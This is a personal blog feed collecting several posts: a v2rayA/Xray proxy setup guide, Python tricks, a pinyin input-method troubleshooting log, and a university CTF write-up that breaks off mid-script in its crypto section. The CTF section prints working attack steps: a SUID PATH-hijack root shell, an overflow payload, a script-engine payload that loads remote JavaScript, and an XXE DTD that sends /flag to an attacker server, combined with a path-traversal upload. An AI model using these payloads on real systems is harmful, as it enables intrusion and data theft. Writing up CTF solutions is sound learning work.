LangQi99的博客 — Mon, 29 Dec 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/v2raya-xray-setup/

import Collapse from "../../components/mdx/Collapse.astro"; import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import Success from "../../components/mdx/Success.astro";

背景

最近在腾讯云的 Ubuntu 24.04 Server 上部署 v2rayA 时踩了不少坑。主要的痛点在于：

Docker 方式不可用：由于目前 Docker Hub 以及主流加速镜像在国内基本被墙，导致 docker pull 直接超时。
官方源无法连接：v2rayA 的官方 apt 源因为 GPG 密钥下载失败（网络原因）无法添加。
协议支持：老版本的 V2Ray 核心不支持较新的协议（如 SS-2022），必须强制使用 Xray 内核。

本文记录了在无法"科学上网"的初始环境下，如何通过手动下载 .deb 包和配置 Xray 核心来成功把梯子搭起来。

环境信息

OS: Ubuntu 24.04 LTS (Noble Numbat)
架构: x86_64 (amd64)
云服务商: 腾讯云 (Tencent Cloud)

第一步：手动安装 v2rayA 面板

由于添加 apt 源失败，我们推荐手动安装。针对服务器网络极差的情况，推荐使用方法 B。

1. 下载安装包

注意区分架构，普通服务器通常是 x64 (amd64)，树莓派等是 arm64。

方法 A：服务器直接下载

# 进入临时目录
cd /tmp

# 下载 v2rayA 安装包 (使用 ghproxy 加速)
wget https://mirror.ghproxy.com/https://github.com/v2rayA/v2rayA/releases/download/v2.2.7.4/installer_debian_x64_2.2.7.4.deb

方法 B：本机下载上传

如果服务器下载总是超时，请在你的本地电脑（Mac/Windows/Linux）上下载好文件，然后通过 SSH (scp) 上传到服务器。

本机下载： 在本地浏览器访问 GitHub 下载 .deb 包：v2rayA Releases (找 installer_debian_x64_...deb)

上传到服务器： 打开本机终端，运行以下命令（假设文件在当前目录，上传到服务器 /tmp）：

# 语法：scp [本地文件] [用户]@[IP]:[目标路径]
scp installer_debian_x64_2.2.7.4.deb langqi@12.34.56.78:/tmp/

2. 安装

回到服务器终端，进入 /tmp 目录安装：

cd /tmp
sudo apt install ./installer_debian_x64_2.2.7.4.deb

如果之前尝试过其他安装方式，建议先执行 `sudo apt purge v2raya` 清理一下。

3. 启动服务

sudo systemctl start v2raya
sudo systemctl enable v2raya

此时 v2rayA 面板已启动，但还没有"内核/引擎"，无法连接节点。

第二步：手动部署 Xray 内核

v2rayA 默认优先寻找 V2Ray 核心，但为了支持新协议，我们需要安装 Xray。

1. 下载 Xray Core

同样推荐在本机下载好后上传。

方法 A：服务器直接下载

cd /tmp
wget -O xray-linux-64.zip https://mirror.ghproxy.com/https://github.com/XTLS/Xray-core/releases/latest/download/Xray-linux-64.zip

方法 B：本机下载上传

本机下载： 在本地浏览器下载最新核心包：Xray-core Releases (下载 Xray-linux-64.zip)

上传到服务器： 在本机终端运行：

scp Xray-linux-64.zip langqi@12.34.56.78:/tmp/

解压 (服务器端)：

# 回到服务器终端
cd /tmp
sudo apt install unzip -y
# 解压到名为 xray-core 的文件夹中
unzip Xray-linux-64.zip -d xray-core

2. 部署到系统目录

标准的二进制文件路径是 /usr/local/bin，资源文件路径是 /usr/local/share。

# 1. 移动核心程序 (发动机)
sudo mv xray-core/xray /usr/local/bin/
sudo chmod +x /usr/local/bin/xray

# 2. 移动资源文件 (地图和站点库 geoip/geosite)
sudo mkdir -p /usr/local/share/xray
sudo mv xray-core/geoip.dat /usr/local/share/xray/
sudo mv xray-core/geosite.dat /usr/local/share/xray/

# 3. 清理垃圾
rm -rf Xray-linux-64.zip xray-core

第三步：解决内核冲突与配置

这是一个关键点。v2rayA 的检测逻辑是：如果有 V2Ray，就用 V2Ray；如果没有，才去找 Xray。如果在安装过程中不小心装了旧版 v2ray，或者 v2rayA 自动识别错误，都会导致连接失败。

1. 强制移除旧版 V2Ray

为了确保 v2rayA 只能用 Xray，我们把系统里可能存在的 V2Ray 删掉。

sudo rm /usr/local/bin/v2ray
sudo rm -rf /usr/local/share/v2ray

如果 apt 安装过 v2ray，可以用 `sudo apt purge v2ray` 卸载

2. 重启服务

sudo systemctl restart v2raya

第四步：Web 端设置

1. 放行端口

如果是云服务器（腾讯云/阿里云），记得去后台安全组放行 TCP 2017 端口。

2. 导入节点与连接

浏览器访问 http://服务器IP:2017。

创建管理员账号密码。
导入订阅。

导入订阅后，选择一个节点。注意：Xray 内核在 v2rayA 中目前不支持同时选择多个节点（负载均衡），请只选中一个节点，然后点击左上角的 Start。

第五步：验证

1. 正确的验证方式：Curl

在服务器终端验证代理是否生效（v2rayA 默认 HTTP 端口为 20172，SOCKS5 为 20170）：

# -x 指定代理地址
curl -x http://127.0.0.1:20172 -I https://www.google.com

如果返回 HTTP/1.1 200 Connection established 或 200 OK，说明代理已通。

2. 经典误区：为什么 Ping 不通？

很多人配置好后习惯用 ping google.com 测试，发现 100% 丢包，以为没配置好。

**原因**：Ping 使用的是 ICMP 协议，而普通的 HTTP/SOCKS 代理不转发 ICMP 包。

结论：永远不要用 Ping 来测试梯子，请使用 curl。

3. 如何让终端命令（apt/docker/git）走代理？

如果在终端执行 docker pull 或 git clone 依然慢，是因为它们默认不走代理。你需要设置环境变量：

临时生效（当前窗口）：

export http_proxy=http://127.0.0.1:20172
export https_proxy=http://127.0.0.1:20172

永久生效（写入 .bashrc）：

echo 'export http_proxy=http://127.0.0.1:20172' >> ~/.bashrc
echo 'export https_proxy=http://127.0.0.1:20172' >> ~/.bashrc
source ~/.bashrc

设置后，再运行 curl https://www.google.com（无需加 -x）即可直接访问。

总结

在 Docker Hub 无法访问的当下，离线包 + 手动二进制部署反而是最快、最稳的方法。关键在于理清 v2rayA（前端面板）和 Xray（后端核心）的关系，并利用国内可用的 GitHub 镜像加速下载。同时，切记不要用 Ping 验证代理。

Python 笔记：一些冷门但高效的设计巧思

LangQi99的博客 — Wed, 03 Sep 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/python1/

UniversalObject 万用对象

它是什么：一个“万用/黑洞对象”。访问任意属性、调用任意方法、以任意参数调用，都不会报错，并且始终返回它自身。
核心机制：
- __getattribute__：访问任意属性时直接返回对象自身。
- __call__：把实例当函数调用时也返回对象自身。
直接效果：可无限链式调用，结果始终是原对象本身。

class UniversalObject(object):
    """ 万用对象 """
    def __init__(self):
        pass

    def __getattribute__(self, __name):
        return self

    def __call__(self, *args, **kwds):
        return self

行为示例

u = UniversalObject()
result = u.any.attr.or_method(1, x=2).more.calls
print(result is u)  # True

典型用途

测试替身/Mock：替代复杂依赖，避免 AttributeError/TypeError，便于聚焦核心逻辑。
空对象模式：替代 None，让调用方无需四处写空判断。

functools.lru_cache 结果缓存

为纯函数结果做缓存，避免重复计算；maxsize 控制缓存大小，typed=True 区分不同类型的同值参数。

from functools import lru_cache

@lru_cache(maxsize=128)
def fib(n: int) -> int:
    return n if n < 2 else fib(n - 1) + fib(n - 2)

print(fib(6))

上述 lru_cache 代码的工作过程如下：

当你第一次调用 fib(n) 时，函数会正常递归计算斐波那契数列，并把每个参数和结果存入缓存。
如果后续再次调用 fib(n)，且参数 n 之前已经算过，直接从缓存返回结果，不再递归计算。
maxsize=128 表示最多缓存 128 个不同参数的结果。

例如，fib(6) 实际只会递归计算一次，后续再调用 fib(6) 或更小的参数时，都会直接命中缓存，速度极快。

functools.singledispatch 单分派泛函数

基于“第一个参数类型”分派到相应实现；可在任意模块延后注册新类型的实现。

from functools import singledispatch

@singledispatch
def to_str(x) -> str:
    return f"obj:{x!r}"

@to_str.register
def _(x: int) -> str:
    return f"int:{x}"

@to_str.register
def _(x: list) -> str:
    return "list:" + ",".join(map(str, x))

print(to_str(42))       # int:42
print(to_str([1,2,3]))  # list:1,2,3

globals() C/S架构RPC传输

期望效果

服务端RPC传递以下代码

ServerSystems.ClientRpc.RequestToClient(convert_operation(COLLECTION(
    GLOBALS()["clientApi"].SetHudChatStackVisible(False),
    GLOBALS()["clientApi"].RegisterUIAnimations(CommonUI.DEFINITION, True),
    GLOBALS()["clientApi"].RegisterUI(CommonUI.NAMESPACE, CommonUI.KEY, GLOBALS()["custom_ui_class_path"], CommonUI.SCREEN_DEF),
    GLOBALS().setitem(CommonUI.SCREEN_DEF, GLOBALS()["clientApi"].CreateUI(CommonUI.NAMESPACE, CommonUI.KEY, {"isHud": 1})),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr("GameComponent", GLOBALS()["clientApi"].GetEngineCompFactory().CreateGame(LevelId)),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr("AddChatMessage", FUNCTION(COLLECTION(
        GLOBALS()[CommonUI.SCREEN_DEF].Clone("/templates/chat_item", "/chat_messages", LOCALS()["args"][0]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl("/chat_messages/" + LOCALS()["args"][0] + "/anchor/content").asLabel().SetText(LOCALS()["args"][1]),
        GLOBALS()[CommonUI.SCREEN_DEF].GameComponent.AddTimer(LOCALS()["args"][2], GLOBALS()[CommonUI.SCREEN_DEF].RemoveComponent, "/chat_messages/" + LOCALS()["args"][0], "/chat_messages")
    ))),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr("AddDeathMessage", FUNCTION(COLLECTION(
        GLOBALS()[CommonUI.SCREEN_DEF].Clone("/templates/death_item", "/death_messages", LOCALS()["args"][0]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl("/death_messages/" + LOCALS()["args"][0] + "/anchor/content").asLabel().SetText(LOCALS()["args"][1]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl("/death_messages/" + LOCALS()["args"][0] + "/anchor/outline").SetVisible(LOCALS()["args"][2]),
        GLOBALS()[CommonUI.SCREEN_DEF].GameComponent.AddTimer(LOCALS()["args"][3], GLOBALS()[CommonUI.SCREEN_DEF].RemoveComponent,"/death_messages/" + LOCALS()["args"][0], "/death_messages")
    )))
)), target)

对应的客户端等价运行如下代码

clientApi.SetHudChatStackVisible(False)
clientApi.RegisterUIAnimations(CommonUI.DEFINITION, True)
clientApi.RegisterUI(CommonUI.NAMESPACE, CommonUI.KEY, GLOBALS()["custom_ui_class_path"], CommonUI.SCREEN_DEF)
CommonUI.SCREEN_DEF = clientApi.CreateUI(CommonUI.NAMESPACE, CommonUI.KEY, {"isHud": 1})
CommonUI.SCREEN_DEF.GameComponent = clientApi.GetEngineCompFactory().CreateGame(LevelId)

def AddChatMessage(id_, text, ttl):
    path = "/chat_messages/" + str(id_)
    CommonUI.SCREEN_DEF.Clone("/templates/chat_item", "/chat_messages", id_)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + "/anchor/content").asLabel().SetText(text)
    CommonUI.SCREEN_DEF.GameComponent.AddTimer(ttl, CommonUI.SCREEN_DEF.RemoveComponent, path, "/chat_messages")

def AddDeathMessage(id_, text, outlined, ttl):
    path = "/death_messages/" + str(id_)
    CommonUI.SCREEN_DEF.Clone("/templates/death_item", "/death_messages", id_)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + "/anchor/content").asLabel().SetText(text)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + "/anchor/outline").SetVisible(outlined)
    CommonUI.SCREEN_DEF.GameComponent.AddTimer(ttl, CommonUI.SCREEN_DEF.RemoveComponent, path, "/death_messages")

CommonUI.SCREEN_DEF.AddChatMessage = AddChatMessage
CommonUI.SCREEN_DEF.AddDeathMessage = AddDeathMessage

Ubuntu 使用 IBus 拼音输入法弃坑记录

LangQi99的博客 — Sat, 26 Jul 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/linux-pinyin/

前言

众所周知，Ubuntu 对拼音输入法的支持非常不友好，找到一个合适的输入法一直都是一个难题。

在 Ubuntu 24.04 中，默认的拼音输入法是 IBus，但是这个输入法非常远古：

比如你要输入 为什么，通常来说，你只需要输入 wsm，然后选择 为什么，但是在 IBus中，是这样的：

解决方案

上述问题最主要的原因是词库的缺失，IBus 的词库非常少，并且非常远古。

预设词库

首先可以勾选这几项：

能基本保证正常需求。

导入词库

当然，我们也可以考虑从其他输入法/操作系统导入用户数据。

但是很多输入法，例如 搜狗输入法 用户数据是非明文的。

这里介绍一个强大的工具：深蓝词库转换

以 搜狗输入法 为例:

./ImeWlConverterCmd -i:sgpybin 搜狗词库备份.bin -o:mspy output.txt

'yi'jian'bao'kuo 意见包括
'yi'jian'bu'yi 意见不一
'yi'jian'duan 一键端
'yi'jian'sha'gua 一键傻瓜
'yi'jian'shi 一件事
'yi'jie 一节
'yi'jie'ke 一节课
'yi'jin'lai 一进来
'yi'jin'lai 一进来
'yi'jing 已经
'yi'jing 已经
'yi'jing 已经
'yi'jing 意境
'yi'jing'shi 已经是

而Ibus的格式是:

个人 ge'ren 5
继续 ji'x 10
继续 ji'xu 55
出问题 chu'wen't 10
出问题 chu'wen'ti 10
了 l 555
了 le 90
重新 chong'x 25
重新 chong'xin 15
生存 sheng'c 40

似乎 Ibus 记录每次输入，一次是5。

我们这边运行下面的脚本转换一下:

def convert_to_ibus(input_text, default_frequency=40):
    lines = input_text.strip().split('\n')
    ibus_lines = []
    for line in lines:
        line = line.strip()
        if not line:
            continue
        parts = line.split(' ', 1)
        if len(parts) != 2:
            continue
        pinyin, chinese = parts
        if pinyin.startswith("'"):
            pinyin = pinyin[1:]
        ibus_line = f"{chinese} {pinyin} {default_frequency}"
        ibus_lines.append(ibus_line)
    return '\n'.join(ibus_lines)

with open('./tmp/output.txt', 'r', encoding='utf-8') as f:
    input_text = f.read()
result = convert_to_ibus(input_text)
with open('./tmp/convert.txt', 'w', encoding='utf-8') as f:
    f.write(result)

我本以为这样就好了，但事实上不是这样的。

Ibus有明显的拼写区分，我们对刚才的文件再次处理:

博弈论 bo'yi'lun 50000
博弈论 b'y'l 50000

def process_line(line):
    parts = line.strip().split(' ')
    if len(parts) >= 3:
        chinese = parts[0]
        pinyin = parts[1]
        freq = parts[2]
        simple_pinyin = ''
        syllables = pinyin.split("'")
        for syllable in syllables:
            if syllable:
                simple_pinyin += syllable[0] + "'"
        if simple_pinyin.endswith("'"):
            simple_pinyin = simple_pinyin[:-1]
        return [line.strip(), f"{chinese} {simple_pinyin} {freq}"]
    return [line.strip()]

with open('./tmp/convert.txt', 'r', encoding='utf-8') as f:
    lines = f.readlines()

result_lines = []
for line in lines:
    if line.strip():
        processed = process_line(line)
        result_lines.extend(processed)

with open('./tmp/convert.txt', 'w', encoding='utf-8') as f:
    f.write('\n'.join(result_lines))

还是不行，wsm 始终没有出现 为什么。

换导入 码表 试试。

这个过程中不断重启，一直都没能成功。

ibus-daemon -drx

非IBus解决方案

当然我们也可以考虑选择其他输入法解决这个问题。

搜狗输入法

搜狗输入法 基本可以支持你从 Windows 迁移过来的输入习惯，有拼音纠错，并且可以导入词库。

但是，它的兼容性非常不好，例如在 Edge 中，它可能无法正常使用，尽管网上某些方法能解决问题，但偶尔还会再次复发。

其他输入法

例如 fcitx 也是一个解决方案，不过IBus用起来更像是系统原生的，这就是笔者比较纠结的点。

deepin操作系统

国产 deepin 操作系统对 搜狗输入法 的支持非常好，是定制版本。

2025科技文化节个人WriteUp

LangQi99的博客 — Thu, 01 May 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/dlut2025_5_1/

Reverse

Reverse 部分有些题目赛时的做法比较粗暴赛后复盘在出题人放出源码后在blog继续更新

signin

*(_DWORD *)&s[strlen(s)] = 5526852;
strcpy(&s[strlen(s)], "CTF{");
*(_DWORD *)&s[strlen(s)] = 7746418;
strcpy(&s[strlen(s)], "3R53_");
*(_DWORD *)&s[strlen(s)] = 6235185;
strcpy(&s[strlen(s)], "\\/");
strcpy(&s[strlen(s)], "3ry_");
strcpy(&s[strlen(s)], "f(_)");
strcpy(&s[strlen(s)], "n&ea");
*(_DWORD *)&s[strlen(s)] = 2193717;
*(_WORD *)&s[strlen(s)] = 125;

DUTCTF{r3v3R53_1$_\/3ry_f(_)n&ea5y!}断个点就行

使用 WSL2来调试

运行安装目录的 IDA\dbgsrv\linux_server64 然后选 Remote Linux debugger

weather?

赛时:

读入之后打个断点走两步就拿到了

赛后:

希望我下次一眼就能看出来这是base64然后-3再^12

tulip

看题目描述就知道是花指令了

赛时:

找到了花指令 jnz jz Call $+5 但只处理了一半想着花指令能骗过IDA骗不过AI 然后拿到了伪代码

TEA直接解就行

#include <stdint.h>
#include <iostream>
void decrypt_chunk_modified_xtea(uint32_t v[2], const uint32_t k[4])
{
    uint32_t v0 = v[0], v1 = v[1];
    const uint32_t delta = 0x114514; // The custom delta found
    uint32_t sum = delta * 32;       // Start sum for 32 rounds of decryption

    for (int i = 0; i < 32; ++i)
    { // 32 rounds
        // Undo the update to v1 first
        v1 -= (((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]));

        // Undo the update to v0 second
        v0 -= (((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]));

        sum -= delta; // Decrement sum for decryption
    }
    v[0] = v0;
    v[1] = v1;
}

int main()
{
    // The Key (data1 from sub_5C4F90)
    uint32_t key[4] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11};

    // The Encrypted Data we want to decrypt (key_data from sub_5C4F90 - first 48 bytes)
    uint32_t encrypted_data[12] = {
        0x329E0EAF, 0x6A398361, // Chunk 0
        0x320B21FA, 0x2200B7F1, // Chunk 1
        0x2E086774, 0x74EAEF36, // Chunk 2
        0xE8EF0A23, 0xAFD4AC64, // Chunk 3
        0x92F93A03, 0xB37A9BFF, // Chunk 4
        0x3CED126C, 0xF5E00531  // Chunk 5
    };

    // Buffer to hold the decrypted flag (48 bytes / 6 chunks)
    uint32_t decrypted_flag[12];

    // Decrypt each 8-byte (2 * uint32_t) chunk
    for (int i = 0; i < 6; ++i)
    {
        uint32_t chunk[2];
        chunk[0] = encrypted_data[i * 2];
        chunk[1] = encrypted_data[i * 2 + 1];

        decrypt_chunk_modified_xtea(chunk, key);

        decrypted_flag[i * 2] = chunk[0];
        decrypted_flag[i * 2 + 1] = chunk[1];
    }

    // Print the decrypted flag as characters
    char *flag_bytes = (char *)decrypted_flag;
    std::cout << "Potential Flag (first 48 bytes): ";
    for (int i = 0; i < 48; ++i)
    {
        // Only print printable ASCII characters, represent others as '.'
        if (flag_bytes[i] >= 32 && flag_bytes[i] <= 126)
        {
            std::cout << flag_bytes[i];
        }
        else
        {
            std::cout << '.'; // Use '.' for non-printable bytes
        }
    }
    std::cout << std::endl;

    return 0;
}

赛后:

这一处花指令跳到 mov中间了得先按<kbd>D</kbd>把代码转数据再 nop

这里 call了下面下面的指令是把 esp的值+6 也就是运行到

所以之间的都 nop掉

这时候还不行得回到函数头按下<kbd>P</kbd>重新分析

MAZE

经典迷宫DP

赛时:

实在找不对种子，直接把地图搞下来了

import sys

# 设置一个表示负无穷的值，用于不可达状态和比较
NEG_INF = -1e18  # 使用一个足够小的数


def solve():
    # --- 读取地图数据 ---
    try:
        with open("output/map.txt", "r") as f:
            # 读取地图大小 (如果 C++ 代码写入了的话)
            # MAZE_HEIGHT, MAZE_WIDTH = map(int, f.readline().split()) # 可选
            map_lines = f.readlines()
    except FileNotFoundError:
        print("Error: map.txt not found. Please run the C++ map generator first.")
        sys.exit(1)

    # --- 解析地图数据 ---
    # 我们假设地图 Y 范围是 1 到 50， X 范围是 1 到 60
    MAZE_HEIGHT = 50
    MAZE_WIDTH = 60
    maze_data = [[0] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
    for y_idx, line in enumerate(map_lines):
        y = y_idx + 1  # 行号对应 y 坐标 (1 到 50)
        if y > MAZE_HEIGHT:
            break
        values = list(map(int, line.split()))
        for x_idx, val in enumerate(values):
            x = x_idx + 1  # 列号对应 x 坐标 (1 到 60)
            if x > MAZE_WIDTH:
                break
            maze_data[y][x] = val

    # --- 动态规划 ---
    # dp[y][x]: 到达 (x, y) 的最大分数
    # prev_move[y][x]: 到达 (x, y) 的最优路径的上一步 ('A', 'B', 'C')
    # 维度：y 从 0 到 50, x 从 0 到 60 (使用 0 作为边界/哨兵)
    dp = [[NEG_INF] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
    prev_move = [[''] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]

    # 初始状态
    initial_score = 0  # 我们确定的初始分数
    dp[1][1] = initial_score

    # 迭代计算 DP
    # y 代表当前步数所在的行 (从 2 到 50)
    for y in range(2, MAZE_HEIGHT + 1):
        # x 代表当前步数到达的列
        for x in range(1, MAZE_WIDTH + 1):  # x 从 1 开始
            current_cell_value = maze_data[y][x]
            best_prev_score = NEG_INF
            move = ''

            # 检查从上方 'C' (x, y-1) 转移
            if x >= 1 and dp[y-1][x] > NEG_INF:
                score = dp[y-1][x]
                if score > best_prev_score:
                    best_prev_score = score
                    move = 'C'

            # 检查从左上方 'B' (x-1, y-1) 转移
            if x - 1 >= 1 and dp[y-1][x-1] > NEG_INF:
                score = dp[y-1][x-1]
                if score > best_prev_score:
                    best_prev_score = score
                    move = 'B'

            # 检查从右上方 'A' (x+1, y-1) 转移
            if x + 1 <= MAZE_WIDTH and dp[y-1][x+1] > NEG_INF:
                score = dp[y-1][x+1]
                if score > best_prev_score:
                    best_prev_score = score
                    move = 'A'

            # 如果存在有效的上一步，更新 dp 表和 prev_move 表
            if move:  # 等价于 best_prev_score > NEG_INF
                dp[y][x] = best_prev_score + current_cell_value
                prev_move[y][x] = move

    # --- 找到最大分数和终点 ---
    final_y = MAZE_HEIGHT
    max_score = NEG_INF
    final_x = -1

    for x in range(1, MAZE_WIDTH + 1):
        if dp[final_y][x] > max_score:
            max_score = dp[final_y][x]
            final_x = x

    if final_x == -1:
        print("Error: Could not find a valid path to the end.")
        sys.exit(1)

    print(f"Maximum score found: {max_score}")
    print(f"Ending position: (x={final_x}, y={final_y})")

    # --- 回溯路径 ---
    path = []
    curr_x = final_x
    curr_y = final_y

    # 总共 49 步，对应 y 从 50 回溯到 2
    for y in range(curr_y, 1, -1):
        move = prev_move[y][curr_x]
        path.append(move)
        # 根据 move 更新上一步的 x 坐标
        if move == 'A':
            curr_x += 1
        elif move == 'B':
            curr_x -= 1
        # elif move == 'C': # x 不变
        #     pass

    # 路径是反的，需要逆序
    path.reverse()
    final_path = "".join(path)

    # --- 输出结果 ---
    print(f"Path length: {len(final_path)}")
    print(f"Path: {final_path}")
    print(f"Flag format: DUTCTF{{{final_path}}}")  # 假设 Flag 格式


if __name__ == "__main__":
    solve()

赛后:

种子硬编码

那为什么伪代码显示调用的是 a1呢

a1吃人事件

汇编语言传参方式导致IDA分析错误

WoAiShiinaMahiru

wasm2c 反编译

static const u8 data_segment_data_w2c_input_d0[] = {
  0x52, 0x46, 0x56, 0x55, 0x51, 0x31, 0x52, 0x47, 0x65, 0x7a, 0x59, 0x34, 
  0x4d, 0x47, 0x52, 0x6a, 0x4e, 0x54, 0x55, 0x78, 0x4c, 0x54, 0x49, 0x31, 
  0x4f, 0x44, 0x51, 0x74, 0x4f, 0x44, 0x41, 0x77, 0x5a, 0x53, 0x31, 0x69, 
  0x4f, 0x47, 0x4a, 0x6d, 0x4c, 0x57, 0x51, 0x7a, 0x59, 0x7a, 0x4d, 0x35, 
  0x4d, 0x7a, 0x52, 0x6b, 0x4f, 0x54, 0x64, 0x6c, 0x4f, 0x48, 0x30, 0x3d, 
  0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 
  0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 
  0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 
  0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 
  0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x30, 0x31, 0x32, 0x33, 
  0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2b, 0x2f, 0x00, 0x2d, 0x2b, 0x20, 
  0x20, 0x20, 0x30, 0x58, 0x30, 0x78, 0x00, 0x28, 0x6e, 0x75, 0x6c, 0x6c, 
  0x29, 0x00, 0x49, 0x6e, 0x70, 0x75, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67, 
  0x3a, 0x20, 0x00, 0x4e, 0x6f, 0x74, 0x20, 0x67, 0x6f, 0x6f, 0x64, 0x2e, 
  0x20, 0x00, 0x4e, 0x69, 0x63, 0x65, 0x21, 0x20, 0x00, 0x0a, 0x00, 0x00, 
  0xa0, 0x06, 
};

Misc

Signin

D{m2uD!UFW0E_oDT_u5}TT3c_O2_CfTrC1TsTE一眼乱序，栅栏密码解密后得到 DUTCTF{W31c0mE_TO_2o2s_DuTCTf_DuTEr5!}

特定低手

发现桥上有字

调用语言模型无脑开启联网搜索

地上写着 バス専用

7:30 - 9:00 Overpass有个明治通り (Meiji Dōri)

豊島区目白三丁目 (Toshima-ku Mejiro San-chōme)给我具体经纬度

google街景

邮编数字部分 1710032

Terminal

test@046413259f36:~$ find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null
  4599371     40 -rwxr-sr-x   1 root     shadow      39160 Sep 22  2023 /usr/sbin/unix_chkpwd
  4603694     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  4603899    640 -rwsr-xr-x   1 root     root         653888 Feb 14 21:06 /usr/lib/openssh/ssh-keysign
  4597709     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  4597715     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
  4597706     80 -rwxr-sr-x   1 root     shadow        80376 Mar 23  2023 /usr/bin/chage
  4597926     36 -rwsr-xr-x   1 root     root          35128 Nov 22 04:01 /usr/bin/umount
  4597850     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  4597776     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  4597834     60 -rwsr-xr-x   1 root     root          59704 Nov 22 04:01 /usr/bin/mount
  4597902     72 -rwsr-xr-x   1 root     root          72000 Nov 22 04:01 /usr/bin/su
  4597839     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  4597760     32 -rwxr-sr-x   1 root     shadow        31184 Mar 23  2023 /usr/bin/expiry
  4602046    476 -rwxr-sr-x   1 root     _ssh         485760 Feb 14 21:06 /usr/bin/ssh-agent
  4609046     16 -rwsr-xr-x   1 root     root          16064 Feb 28 15:46 /tmp/whatisthis
test@046413259f36:~$/tmp/whatisthis
    PID TTY          TIME CMD
     23 pts/0    00:00:00 whatisthis
     24 pts/0    00:00:00 sh
     25 pts/0    00:00:00 ps
test@046413259f36:~$ echo '/bin/sh' > ~/ps
test@046413259f36:~$ chmod +x ~/ps
test@046413259f36:~$ export PATH=~:$PATH
test@046413259f36:~$ /tmp/whatisthis

/tmp/whatisthis -> whatisthis 程序内部启动 sh -> sh 执行 ps 命令 -> ps 输出进程列表

路径劫持直接提权

我是少女乐队高手

两个音轨相同记为 0 不同记为 1

midi2csv 转换后提取出

a = "00010100100100011001010110010101010101000100110001010100100100011101100101001100100011000100110001011000110111101001000110011010100101100000110010011101110111011101100100011010100100111000111001"
len(a) == 194

多两位把前两个丢了

pwn

minesweeper

No canary found 栈溢出

__int64 read_int(void)
{
  unsigned int buf; // [rsp+Ch] [rbp-4h] BYREF

  read(0, &buf, 0x10uLL);
  return buf;
}

win(void)	.text	000000000000222F	00000030	00000008		.	.	.	.	.	.	B	T	.

payload = b'A'*12 + b'F'
print(f"[*] Sending payload ({len(payload)} bytes): {payload}")
io.send(payload)  # Use send() for read(), not sendline()
print("[+] Payload sent.")
io.interactive()

/bin/sh 提权

kernel_master

解压一下就拿到了 flag{test}

本题不会做纯误判

Web

Real_E2_J5!

curl -X POST http://210.30.97.133:10079/validate \
-H "Content-Type: application/json" \
-d '{"key": "adminSecret", "value": "adminSecret", "adminSecret": "hack"}'

curl http://210.30.97.133:10079/admin?secret=hack

逻辑漏洞覆盖 adminSecret

Editor

{
    "name": "javascript",
    "script": "var a=new java.beans.Customizer{setObject:load};a.object=\"http://my_server:8000/payload.js\""
}

写到这里突然发现服务器 8000端口当时做完忘了关被扫爆了

求求佬帮看看有没有敏感数据整个用户文件夹全被扫了

langqi99.com/data.log

Real_upload?

跟上面类似的

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://my_server:8001/?data=%file;'>">
%all;

cat << EOF > name.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "http://my_server:8000/evil.dtd">
  %dtd;
]>
<data>&send;</data>
EOF

curl -X POST -F 'file=@name.xml;filename="../../../../../../../../tmp/name.xml"' http://210.30.97.133:10176/upload

curl http://210.30.97.133:10176/hello

Crypto

Signin

import gmpy2 # Using gmpy2 for efficient modular inverse calculation
import math

# Given values from the CTF challenge
c = 52354976201766669118320630176887314071011255313891475177309220942626308982212207656434544882959155963535322671950878583826524168178944409579938839799964263156869607430342733103192161887476831655038675686355158926050329782714167002188689556206753594011414672752687969286190800625479272347359078146861058813575
e = 65537
n = 128695631920242750589686556821575285363077338716894598150505853922988731458730235702902751496167097055081015591831536126839547857423987907590407313564456519185448221625668476322936885010691918434072938135430858464606477495727174799865802582744611435244880867181739290162314813391707310015481379681575178925149

# Step 1: Check if n is prime (optional, but good practice)
# We already confirmed this using external tools/information
# For a programmatic check (can be slow for large n):
# if not gmpy2.is_prime(n):
#     print("Error: n is not prime, but the challenge implies it is.")
#     exit()
# else:
